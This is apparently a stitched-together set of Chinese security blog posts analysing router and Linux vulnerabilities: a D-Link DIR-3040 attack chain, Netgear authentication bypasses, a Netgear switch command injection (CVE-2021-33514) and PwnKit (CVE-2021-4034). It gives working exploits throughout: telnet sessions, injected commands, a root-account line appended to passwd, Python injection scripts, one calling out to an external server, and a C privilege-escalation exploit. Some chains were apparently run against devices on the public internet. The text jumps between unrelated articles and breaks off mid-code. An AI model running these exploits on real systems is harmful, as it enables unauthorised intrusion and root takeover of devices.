从这三个漏洞的描述就可以看出攻击链大概就是:先使用Zebra硬编码密码登录,然后通过读取任意文件窃取管理员admin密码,再开启telnet,最后实现命令注入,将一个本来是后认证的RCE组合变成了无条件RCE。下面就先直接上图说明漏洞利用的可行性,然后再进行原理的分析。

攻击链复现

我手头上是有一个部署在公网的路由器DIR 3040,一开始端口是没有开启telnet的,下图是我复现漏洞成功后,没有关闭telnet。

1
2
3
4
5
6
7
8
9
10
11
12
13
# oneshell @ UbuntuDev in ~ [23:44:30] C:130
$ nmap -Pn X.X.X.X

Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT
Nmap scan report for XXX.XXX.com (X.X.X.X)
Host is up (0.28s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
443/tcp open https
2602/tcp open ripd

首先使用telnet登录开启了Zebra的2601端口,使用硬编码密码zebra,实际上也是服务的默认密码,Zebra使用默认密码在06年的时候就爆出来过一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# oneshell @ UbuntuDev in ~ [23:42:09] C:1
$ telnet X.X.X.X 2601
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
___ ___ ___
/__/\ / /\ / /\
_\_ \:\ / /::\ / /:/_
/__/\ \:\ / /:/\:\ / /:/ /\
_\_ \:\ \:\ / /:/~/:/ / /:/ /::\
/__/\ \:\ \:\ /__/:/ /:/___ /__/:/ /:/\:\
\ \:\ \:\/:/ \ \:\/:::::/ \ \:\/:/~/:/
\ \:\ \::/ \ \::/~~~~ \ \::/ /:/
\ \:\/:/ \ \:\ \__\/ /:/
\ \::/ \ \:\ /__/:/
\__\/ \__\/ \__\/
-----------------------------------------------------
BARRIER BREAKER (%C, %R)
-----------------------------------------------------
* 1/2 oz Galliano Pour all ingredients into
* 4 oz cold Coffee an irish coffee mug filled
* 1 1/2 oz Dark Rum with crushed ice. Stir.
* 2 tsp. Creme de Cacao
-----------------------------------------------------

User Access Verification

Password:
Router> enable
Password:
Router# configure terminal
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.

使用telnet再次登录,就会发现,登录提示的banner已经把/etc/passwd文件显示出来了。在/etc/passwd中的密码是以md5的形式保存的,有能力的师傅可以尝试解出来,但是,admin的明文账号密码是被保存在/var/2860_data.dat文件中的,那么设置banner到这个文件就可以成功读取到admin的明文密码,为下一步的认证RCE做准备。

这个时候访问https:///start_telnet开启路由器的测试CLI,这个页面访问的结果返回是404,不用担心,已经成功开启了设备的telnet了。然后可以使用上一步得到的admin账号密码登录,然后也可以看到,在ping那个功能处存在命令注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1
$ telnet X.X.X.X
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
D-Link login: admin
Password:
libcli test environment

router> help

Commands available:
help Show available commands
quit Disconnect
history Show a list of previously run commands
protest protest cmd
iwpriv iwpriv cmd
ifconfig ifconfig cmd
iwconfig iwconfig cmd
reboot reboot cmd
brctl brctl cmd
ated ated cmd
ping ping cmd

router> ping -c 1 8.8.8.8.;uname -a
ping: bad address '8.8.8.8.'
Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux

漏洞分析

漏洞的利用顺序是从CVE-2021-12818到CVE-2021-12817再到CVE-2021-12819,分析顺序也是按照这个来进行。顺便强调一下,这篇文章是偏向于分析,很多线索都是基于已有的漏洞信息来进行推断的,然后菜菜的我尽量去揣测挖洞大佬是怎么找出这个漏洞的,并说出自己猜测的思路,如果有不正确或者师傅们有更好的思路,还望指出来,蟹蟹!

固件分析

第一步是获取到存在漏洞的固件,固件已经是最新固件了。关于从固件中提取文件系统,可以参考我之前写的这篇文章:加密固件之依据老固件进行解密。下面说一下如何从文件系统中先对整个路由器有个大致的了解。这个地方推荐使用FirmWalker,一个对固件进行简单分析的sh脚本。分析的出来的结果太多了,就不展示出来,直接简单说一下分析结果:

  • 后台使用的是lighttpd,一个常见的嵌入式后端。
  • 看到有使用sqlite3的so,可能使用到了相关的,不知道有没有命令注入的可能。
  • 有telnetd程序,可以通过telnet登录;有tftp、curl,可以用于下载文件,例如针对路由器架构编译的恶意程序。

CVE-2021-12818:Zebra服务硬编码密码

这个漏洞是Zebra服务使用了默认密码zebra。Zebra 是一个 IP 路由管理器,可提供内核路由表更新、接口查找以及不同路由协议之间路由的重新分配。DIR-3040 默认在TCP端口2601上运行此服务,任何人都可以访问。漏洞披露者的分析应该是建立在通过UART等方式或者手中还有RCE漏洞获取shell查看到的,此处分析不了就直接进行后验证,直接通过前面的命令注入漏洞查看配置文件/tmp/zebra.conf

1
2
3
4
5
router> ping -c -1 8.8.8.8;cat /tmp/zebra.conf
ping: invalid number '-1'
hostname Router
password zebra
enable password zebra

CVE-2021-12817:敏感信息泄露

Zebra提供了一个功能就是从指定目录的文件内容,设置登录提示的banner,通过这个功能可以读取敏感信息并显示。通过find找到zebra和zebli.so,分别在/sbin/zebra和/lib/libzebra.so.1.0.0中,然后可以通过IDA搜索关键字符,例如在libzebra.so中就找到了和banner相关的数据结构。

1
2
3
4
5
6
7
8
.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1
.data:0006D608 # DATA XREF: LOAD:00003AC0↑o
.data:0006D608 # cmd_init+708↑o ...
.data:0006D608 # "banner motd file [FILE]"
.data:0006D60C .word sub_1509C
.data:0006D610 .word aSetBannerBanne # "Set banner\nBanner for motd\nBanner fro"...
.data:0006D614 .align 4
.data:0006D620 .globl no_config_log_timestamp_precision_cmd

这个数据结构在cmd_init是这样进行引用的:

1
install_element(5, (int)&banner_motd_file_cmd);

zebra是一个开源项目,源代码官网ftp已经没有了,在GitHub上找到了一个备份,也可以找到install_element的函数以及cmd_element结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
install_element (enum node_type ntype, struct cmd_element *cmd)
{
struct cmd_node *cnode;

cnode = vector_slot (cmdvec, ntype);

if (cnode == NULL)
{
fprintf (stderr, "Command node %d doesn't exist, please check it\n",
ntype);
exit (1);
}

vector_set (cnode->cmd_vector, cmd);

cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);
cmd->cmdsize = cmd_cmdsize (cmd->strvec);
}
struct cmd_element
{
char *string; /* Command specification by string. */
int (*func) (struct cmd_element *, struct vty *, int, char **);
char *doc; /* Documentation of this command. */
int daemon; /* Daemon to which this command belong. */
vector strvec; /* Pointing out each description vector. */
int cmdsize; /* Command index count. */
char *config; /* Configuration string */
vector subconfig; /* Sub configuration string */
};

通过对应IDA和zebra源码中的结构体,可以猜测出来,回调函数是注册在sub_1509c这个函数,大概传入的参数就是:

1
int sub_1509c(struct cmd_element *, struct vty *, int, char **);

其中和文件描述符相关的是结构体vty,具体就不展开了,师傅们分析可以到zebra源码中去查看结构体vty的定义,这个结构体中是具体的一个zebra会话状态的相关描述,例如会话的权限、输入命令长度、命令缓冲区、历史命令等等。其实这个地方我分析得不是很明了,源码的执行逻辑还是有点绕,猜测安全研究人员应该是根据命令的提示,发现可以通过文件设置banner,然后尝试读取文件,或者研究人员有过类似的开发研究经历。

CVE-2021-12819:测试环境CLI命令执行

首先分析是如何开启telnet的,通过访问https:///start_telnet即可,似乎不涉及到使用了某个CGI,那么直接在后端服务器lighttpd中去搜寻关键字telnet,查看字符串的交叉引用,然后看看执行逻辑。使用IDA可以看到,在函数http_request_parse中,有一段代码逻辑是:

1
2
3
4
5
if ( strstr(v13, "/start_telnet") )
{
log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);
system("telnetd -b 0.0.0.0");
}

接下来是分析,命令执行是如何发生的。命令执行漏洞是发生在cli中,那么可以先定位到cli和cli使用的so文件。使用find可以找到两个可疑的两个目标,/lib/libcli.so和/usr/bin/cli。先看可执行文件cli,通过搜索ping关键字可以直接定位到关键代码。

1
2
3
4
5
6
7
8
9
cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");
cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");
cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");
cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");
cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");
cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");
cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");
cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");
cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");

好家伙,还没有去符号表,和前面复现中cli的显示基本一致了。一般这种实现都是注册了某个回调函数,例如cmd_ping,可以在IDA中进入查看。非常巧合的是,我去搜索了一下这个函数,发现是Github上的一个开源libcli项目的,这就极大降低了逆向的难度。平常在做研究的时候也可以通过去找设备开发的GPL协议,然后定位使用了什么开源项目,降低逆向难度。如下是开源的函数原型,可以看到cmd_ping函数就是注册的回调,是选择了命令后具体执行的函数。

1
2
3
struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,
int (*callback)(struct cli_def *, const char *, char **, int), int privilege,
int mode, const char *help)

进一步的关键函数调用链就是:cmd_ping -> systemCmd -> popen,感兴趣的师傅可以进入具体查看,也没有什么复杂的绕过,直接就是格式化字符串然后到popen执行。

猜测这一个CVE实际上是开发人员原本为了方便测试设置的,从开启telnet到使用测试CLI执行命令。CLI在登录的时候也有明确提示,属于测试CLI。然后在实际交付代码的时候却没有把相关代码去掉。

小结

本篇文章首先对一连串的漏洞进行了复现,实现了从敏感信息泄露到远程RCE的过程。然后从逆向结合能够查找到的相关开源组件源码,对漏洞进行了分析。期间还是走了很多弯路,用了不短的时间去分析执行逻辑、回调函数之类的,最后深一步理解到了查找研究目标GPL相关开源组件代码,进一步降低逆向难度的重要性。

漏洞分析

最直观的方式,是先看POC,得到大概利用思路,再进行静态分析,然后拿真实设备调试(咸鱼)。

http认证绕过

使用的后端是mini_httpd,一个小型的嵌入式后端服务器,常见的还有lighthttpd、httpd等等,或者直接通过一些脚本例如lua来充当后端也是存在的。

通过在URL中附加%00currentsetting.htm来达到身份认证绕过,本来一开始以为是类似于之前的Netgear的一个身份认证绕过,通过strstr()此类函数直接判定URL中包含一些全局资源,然后无条件返回请求的资源,但是,并不是这样的,而是currentsetting.htm字段会触发一个判定标志,这个标志=1会直接使判定通过。这个标志在http解析流程中一共有三个被赋值的地方,分别是:

  1. 在从00407A28开始的函数,也就是http的处理流程,当header的解析时,当SOAPAction字段包含特定的字符串urn:NETGEAR-ROUTER:service

undifined

  1. 在函数从00407A28地址开始,同样在http解析流程中,当请求URL中包含字符串setupwizard.cgi

undifined

  1. 还是在这个http处理的函数中

undifined

但是前两个产生的标志位,出现在函数的比较靠前位置,都会导致程序的提前中止,就不能达到绕过的效果,第三个则相对靠后,不会退出。

undifined

因此可以通过构造如下的请求,对任意页面进行未授权访问:

1
GET /file-to-access%00currentsetting.htm HTTP/1.1

发生在setup.cgi中的sesstion id认证绕过

在main函数的代码开头,如果是POST方法,紧接下来就是对于/tmp/SessionFile文件的读取。先从POST请求中获取id字段的值,然后通过一个子函数sub_403F04/tmp/SessionFile中读取存在系统中的id,二者进行比较。如果相同则通过了id的校验。验证逻辑关键代码如下:

1
2
3
4
5
6
7
8
id_loc = strstr(post_data, "id=");
if (id_loc) {
id_from_post = strtol(id_loc + 3, &v19, 16); // 字符串转换成长整数, v19指向处理完id后的字符串
if(v19 && strstr(v19, "sp=")) // 根据id和sp字段寻找session_file
snprintf(session_file, 128, "%s%s", session_file)
if (id_from_post == sub_403F04(session_file))
goto verify_success_label;
}

但是在子函数sub_403F04中存在逻辑上的问题,如果session_file不存在,id_from_file会直接返回0。那么,就可以通过构造id=0&sp=ABC这种肯定找不到session_file的字段,从而达到id_from_post == id_from_file == 0验证通过。

1
2
3
4
5
6
7
8
9
int sub_403F04(char* session_file) {
id_from_file = 0;
File* f = fopen(session_file, "r");
if (f) {
fscan(f, "%x", &id_from_file);
fclose(f);
}
return id_from_file;
}

setup.cgi未检验密码修改

整个cgi的处理流程大概是,当用户通mini_httpd登录,mini_httpd会将请求方式和请求附加参数写入到环境变量中,cgi读取环境变量REQUEST_METHOD获取请求方式,例如GET或POST;读取QUERY_STRING获取请求参数;然后通过写入能唯一标识会话的一些参数到文件中,用于会话管理。最后就是具体的对用户发送的数据进行处理。这个流程可以在setup.cgi文件逆向的main函数中查看,还是比较清晰明了。

在CVE作者的分析文章里面,有提到是通过cgi的哪一个接口直接修改密码的,我也定位到了这个函数sub_40808。但是,这个函数在cgi中没有被调用过?那么作者是如何得到这个接口的呢,直接通过抓包么。先直接给出payload,通过构造如下的方式可以重新设置密码。

1
2
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin

对于sub_40808的逆向,流程也很简单,检查两次输入的新密码是否相同,如果相同,就写入到NVRAM中的http_password中。但是如果要永久更改admin账号的密码到/etc/passwd和/etc/htpasswd中,可以通过如下两种方式之一:

  1. 重启设备,可以通过调用接口/setup.cgi?todo=reboot,将密码写入到/etc/passwd和/etc/htpasswd中
  2. 调用接口/setup.cgi?todo=save_passwd将密码写入到文件中

猜测这两个接口,是因为有路由器真实设备,在初始化的时候,第一次设置密码,通过分析交互http数据包得到的。

/tmp/etc目录权限管理

可以通过setup.cgi开启路由器的telnet,结合之前的mini_httpd和setup.cgi的认证绕过,请求/setup.cgi?todo=debug。此时通过telnet登录得到的权限是admin权限,而不是root权限。但是因为/tmp/etc目录权限管理的问题,可以在/tmp/etc/passwd中添加一个root权限的账号。操作如下:

1
2
3
4
5
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd

出现问题的原因是分析如下,/etc/目录通过软链接到了/tmp/etc/目录,而/tmp/etc/目录的权限是777。

undifined

undifined

那么admin权限的用户不能更改/etc/passwd文件,因为这是被root拥有的且权限为644(rw-r–r–)。但是admin权限的用户可以创建一个新的passwd文件,然后通过如上的方式,添加root权限账号。

这是执行了添加root权限操作后的文件属性。

undifined

小结

通过如上一系列的攻击链,先通过http的认证绕过,可以访问到setup.cgi;但是setup.cgi的操作也是存在sessionID认证,于是再次进行认证绕过;而且通过分析setup.cgi提供的接口,发现可以任意修改admin权限的登录密码,还可以开启调试模式的telnet;虽然这个时候通过telnet登录上去的是一个admin权限(非root),但是恰好由于/etc/里面的文件权限管理的问题,可以添加root权限的账号和密码。

那么这一系列的操作下来,就达到了一个未授权RCE漏洞。太强了太强了。

参考链接

漏洞信息

CVE-2021-33514是发生在Netgear多款交换机上的命令注入漏洞,可以未认证远程代码执行,CVSS3:9.8(高危)。

漏洞产生的根本原因是libsal.so.0.0中的函数sal_sys_ssoReturnToken_chk存在命令注入,这个函数用于处理url中的tocken字段,直接将tocken传递到格式化字符串中,然后调用popen执行。后端处理setup.cgi加载了该so文件,并且在处理url的时候调用了该存在漏洞的函数。漏洞利用起来也非常简单,直接给cgi发送构造了命令的请求就可以。

Netgear官方给出的受漏洞影响设备和固件版本如下表:

影响设备 固件版本
GC108P <=1.0.7.3
GC108PP <=1.0.7.3
GS108Tv3 <=7.0.6.3
GS110TPP <=7.0.6.3
GS110TPv3 <=7.0.6.3
GS110TUP <=1.0.4.3
GS710TUP <=1.0.4.3
GS716TP <=1.0.2.3
GS716TPP <=1.0.2.3
GS724TPP <=2.0.4.3
GS724TPv2 <=2.0.4.3
GS728TPPv2 <=6.0.6.3
GS728TPv2 <=6.0.6.3
GS752TPPv1 <=6.0.6.3
GS752TPv2 <=6.0.6.3
MS510TXM <=1.0.2.3
MS510TXUP <=1.0.2.3

漏洞复现

复现过程仅仅使用了python的requests模块,设备使用的是放置在公网的GS110TPP,固件版本V7.0.1.16,使用的so和cgi程序关键代码差别不大,具有代表性。通过分析交换机固件发现里面常见的可以反弹shell的程序都木有,那验证命令执行就使用了curl,用它去访问我的公网VPS,如果nc检测到访问,说明发生了命令注入。

1
2
3
4
5
6
7
8
import requests
vul_url = 'https://X.X.X.X/cgi/setup.cgi?token=\';$(cat);\''
payload = 'curl X.X.X.X.X:8080'
try:
res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)
print('[!] should not return any thing')
except:
print('[+] success!')

undifined

漏洞分析

固件提取

首先在Netgear官网上可以下载到存在漏洞的固件,必须赞扬一下Netgear,基本上以往的固件都可以下载到,而且几乎都是没有加密的,这对漏洞分析来说大大的好。下载到固件了按照流程binwalk -Me一把梭,然后使用find就会发现,找不到存在漏洞的so文件也找不到存在调用so的cgi程序。仔细看解压出来可能的文件系统文件夹里面,其实还有modsqfs.img和sqfs.img两个文件,这还得binwalk继续梭了这两个文件,才能有得到存在漏洞的so和cgi。

undifined

undifined

静态分析

流程上还是比较简单的。首先看一下libsal.so里面存在漏洞的函数sal_sys_ssoReturnToken_chk,下面是直接贴出来IDA反编译结果,可以看到直接将函数输入a1,格式化字符串到v25中,然后调用popen执行了v25

undifined

再看看setup.cgi中是如何调用这个函数的,这个地方注意,C语言的或逻辑是,如果前面的判定通过了,后续就不进行判定。第一个判定是检查query_string中是否含有tocken字符串,当我们构造了payload那么判定会失败,则继续执行后面使用逗号连接的C语句,调用漏洞函数。strtok函数用于使用特定字符分割字符串,详情使用可以参考函数说明,最终就把tocken字段的值赋值给v9

undifined

关于CGI以及此处payload的写法

CGI如何处理用户请求

之前分析的路由器后端的程序,大多是某某httpd+cgi的做法,当时对于cgi程序如何获取到url传递的参数就仅仅有一个感性的认识:通过环境变量来进行传参,如果是GET请求,那么看环境变量QUERY_STRING,如果是POST请求,可能先从CONTENT_LENGTH获取数据长度,然后从STDIN中读取指定长度的数据。但对于cgi程序是如何执行的,与httpd之间的关系是什么,还是有点迷糊。于是找了一些文章大概看了下。

CGI(Common Gateway Interface)实际上是一种约定,一种接口协议,可以使用c、python、lua、php来实现。WEB服务器会根据CGI的类型决定如何向CGI程序传递数据,一般都是通过标准输入/输出流和环境变量来与CGI程序进行数据传递。例如这个地方的WEB服务器使用的是lighthttpd,通过逆向可以找到有一个函数http_cgi_headers是用来传递给CGI程序的一些环境变量的。

undifined

如果是使用的POST方式,服务器设定CONTENT_LENGTH环境变量说明POST数据的有效数据字节数,然后CGI通过传递的这个环境变量,从标准输入STDIN中去读取数据。在POC里面,首先token字段值会被注入,然后$(cat)从从标准输入中去读取数据,而此时POST的数据也被传递到了标准输入中,那么就相当于直接执行了POST发出的数据。

payload的另一种写法

如上,是通过环境变量和标准输入传递参数给CGI的,最开始的payload是通过POST请求将数据通过标准输入传递给CGI,而且没有执行结果回显。那么接下来使用GET请求+环境变量+获取执行结果的方式重新来写一次payload。

首先确定将要执行的命令通过哪一个环境变量传入,这个地方选择了User-Agent环境变量,也是经常被使用到的一种方式。其次是决定通过何种方式进行回显,此处是将执行结果写入到/webtmp/文件夹的一个js文件中。由于/webtmp/文件夹和/tmp/是链接起来(固件文件系统中查看)的,因此写入到/webtmp/文件夹,然后使用URL访问/tmp/中的js文件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from requests.api import head
import requests
import random
import string
requests.packages.urllib3.disable_warnings()

proxy = {
}

letters = string.ascii_letters
vul_addr = 'https://X.X.X.X'
vul_url = vul_addr + '/cgi/setup.cgi?token=\';$HTTP_USER_AGENT;\''
random_str = ''.join(random.choice(letters) for i in range(10))

cmd1 = input('InputCMD: ').replace(' ', '${IFS}')
cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')

payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'
payload2 = f'sh -c {cmd2}'

header = {}

try:
header['User-Agent'] = payload1 # 注入命令并将结果写入到js文件
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy)
if res.status_code == 200:
print('[+] command send success')
result_file = vul_addr + f'/tmp/{random_str}.js'
result = requests.get(result_file, timeout=5,
verify=False, allow_redirects=False, proxies=proxy) # 读取结果js文件
print('[+] get result')
print(result.text)
print('[+] rm tmp result file')
header['User-Agent'] = payload2
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy) # 删除结果js文件
except Exception as e:
print(e)

undifined

小结

这次的命令注入漏洞逻辑是比较简单的,注入点不需要很长的变量依赖分析。通过对于Netgear几次命令注入漏洞的分析,心中大概也清楚嵌入式设备中路由器大概是怎么获取用户请求数据,然后如何传递给CGI程序进行处理的。

使用zoomeye和pocsuite3

漏洞影响面

通过ZoomEye网络空间搜索引擎,搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。

zoomeye dork 关键词:”?aj4+fileVer”

undifined

漏洞影响面全球视角可视化

undifined

verify模式

undifined

undifined

attack模式

undifined

undifined

参考文献

下载源码并编译

我的 Linux 是 Kali 系统,查看自带的 pkexec 版本,以及下载对应的源代码。

1
2
3
4
5
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:04]
$ pkexec --version
pkexec version 0.105
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:54] C:1
$ dpkg -S pkexec

undifined

1
2
3
4
5
6
7
8
9
10
11
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:29:34]
$ tree -L 1
.
├── debug
├── payload
├── policykit-1_0.105-31+kali1.debian.tar.xz
├── policykit-1_0.105-31+kali1.dsc
├── policykit-1_0.105.orig.tar.gz
└── polkit-0.105

3 directories, 3 files

undifined

漏洞分析

漏洞成因是在解析命令行参数数组 argv 时,发生了数组越界读,随后又发生了数组越界写到环境变量数组,导致第一个环境变量可被修改。接下来会分别从程序正常运行流程和漏洞触发流程进行分析。

正常执行流程

在 pkexec 工具的 main 函数中,使用如下的 for 循环来处理所有的命令行参数,方式是读取 argv[1] 到 argv[argc] 并进行比较,设置相应的标志位。

undifined

使用了一个断言,argv[argc] 必须为 NULL。从 argv[n] 开始复制字符串到 path 变量中,如果 path 等于 NULL,打印帮助信息并退出;如果 path[0] 不是以 / 字符开始的,则从 PATH 环境变量中以 path 字符串搜索应用程序是否存在,并将结果复制到变量 s,如果应用程序存在,则将应用程序路径重新赋值给变量 path 和 argv[n]。main 函数中也会重新构造新的命令行参数列表。

undifined

变量 path 和新的命令行参数会一起送入到 execv 函数执行。

undifined

漏洞触发流程

在解析命令行参数的时候,使用了循环变量 n,但是 n 的初始值是 1。如果 pkexec 传入的命令行参数为空,即 argc = 1,argv[0] 等于应用程序名,argv[0] = NULL。那么当参数解析流程结束时,变量 n = 1,那么在此处 argv[1] 存在越界读。

undifined

同样,在此处存在越界写入到 argv[1]。

undifined

当 execve 执行一个新程序的时候,内核会将命令参数指针 argv、环境变量字符串指针 envp 复制到新程序堆栈的中,如下所示:

1
2
3
|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|

因为 argv 和 envp 在内存中是连续的,当 argc 等于 0,那么前面所说的 argv[n] = argv[1] 也就是 envp[0]。

以上就是漏洞触发的原理,接下来梳理一下漏洞触发的完整流程,假设 pkexec 是通过 execve 调用,设置 argv = NULL,envp = xxx:

  1. 在 481 行 for 循环中初始化变量 n = 1

  2. 在 537 行,出现越界读 argv[n] = argv[1] = envp[0] 到变量 path

    那么此时有 path = “xxx”

  3. 在 546 行,s = g_find_program_in_path(path)

    s 从环境变量 PATH 中搜索 xxx 程序的绝对路径,假设是 /usr/bin/xxx

  4. 在 553 行,出现越界写 argv[n] = argv[1] = s,即 envp[0] = {“/usr/bin/xxx”, …},环境变量数组第一个元素被覆盖

综上,使用 execve 调用 pkexec,设置命令行参数列表 argv 为 NULL,就可以通过对 envp[0] 进行越界读写。但是,写入的 envp[0] 不会存在很久,因为在源码中会对所有的环境变量进行清除。那么越界写入的环境变量就只能存在于 555~602 行代码中。

undifined

除此之外,Linux 的动态链接器 ld-linux-x86-64.so.2 会在特权程序执行时,清除一些敏感环境变量,其中就包括 GCONV_PATH 以及其他的一些具有动态加载路径的环境变量,防止低权限用户通过这些环境变量利用 SUID 权限程序造成提权。

漏洞利用

通过之前的分析,知道 pkexec 中存在越界读写环境变量漏洞,但是越界写入的环境变量的生命周期只能从 555~602 行。pkexec 是具有 SUID 权限的,普通用户可以以 root 权限运行 pkexec。

1
2
$ ls -la /usr/local/bin/pkexec
-rwsr-xr-x 1 root root 64440 Feb 2 02:25 /usr/local/bin/pkexec

在 pkexec 的源码中使用了很多次的 g_printer 函数用于输出错误信息。如果环境变量 CHARSET 不是 UTF-8,g_printer 会调用 glibc 的 iconv_open 函数,将消息转换成 UTF-8。iconv_open 函数的执行流程是:先找到系统提供的 gconv-modules 配置文件,在这个文件中包含了各种字符集相关信息的存储路径,每个字符集的相关信息存储在一个 so 文件中。

综上:gconv-modules 配置文件提供了每个字符集 so 文件所在位置,之后会调用 so 文件中的 gconv 和 gconv_init 函数,如果修改系统的 GCONV_PATH 环境变量,也就能修改 gconv-modules 配置文件的位置,从而执行恶意的 so 文件实现任意命令执行。本质上都是想办法触发 g_printer 函数,调用恶意 so。

利用的流程是:

  1. 创建环境变量指向的目录文件结构

    首先创建一个名为 GCONV_PATH=. 的文件夹,然后在其中再创建一个名为 GCONV_PATH=./lol,以及创建一个目录名为 lol 目录存放恶意的 so 文件。然后再创建一个文件 lol/gconv-modules,其中内容为 module UTF-8// PWNKIT// pwnkit 1。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:09:38]
    $ tree -L 2
    .
    ├── GCONV_PATH=.
    │   └── lol
    └── lol
    └── gconv-modules

    2 directories, 2 files
  2. 构造恶意的 so 文件

    在 lol 文件夹中编译一个恶意的 so,代码示例如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // gcc -o payload.so -shared -fPIC payload.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    void gconv() {
    return;
    }

    void gconv_init() {
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/sh", a_argv, a_envp);
    exit(0);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:40:51]
    $ tree -L 2
    .
    ├── GCONV_PATH=.
    │   └── lol
    ├── lol
    │   └── gconv-modules
    ├── payload.c
    └── payload.so

    2 directories, 4 files
  3. 使用 execve 调用 pkexec 并带入恶意的 envp 环境变量数组

    设置恶意环境变量 envp 如下:

    1
    2
    3
    4
    5
    6
    7
    char *a_envp[] = {
    "lol", // 触发越界写,使得a_envp[0]=GCONV_PATH=./lol
    "PATH=GCONV_PATH=.", // g_find_program_in_path函数查找lol,在给GCONV_PATH=./lol
    "CHARSET=PWNKIT", // 触发调用g_printerr函数,从而调用恶意的so文件
    "SHELL=lol", // 调用g_printerr函数,调用恶意so文件
    NULL
    }

    然后就使用 execve 调用 pkexec

    1
    execve("pkexec", NULL, a_envp);

综上,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
perror(f);
exit(-1);
}

void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}

char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";

fwrite(so_code, strlen(so_code), 1, f);
fclose(f);

system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};

printf("[~] compile helper..\n");
compile_so();

if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}

if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
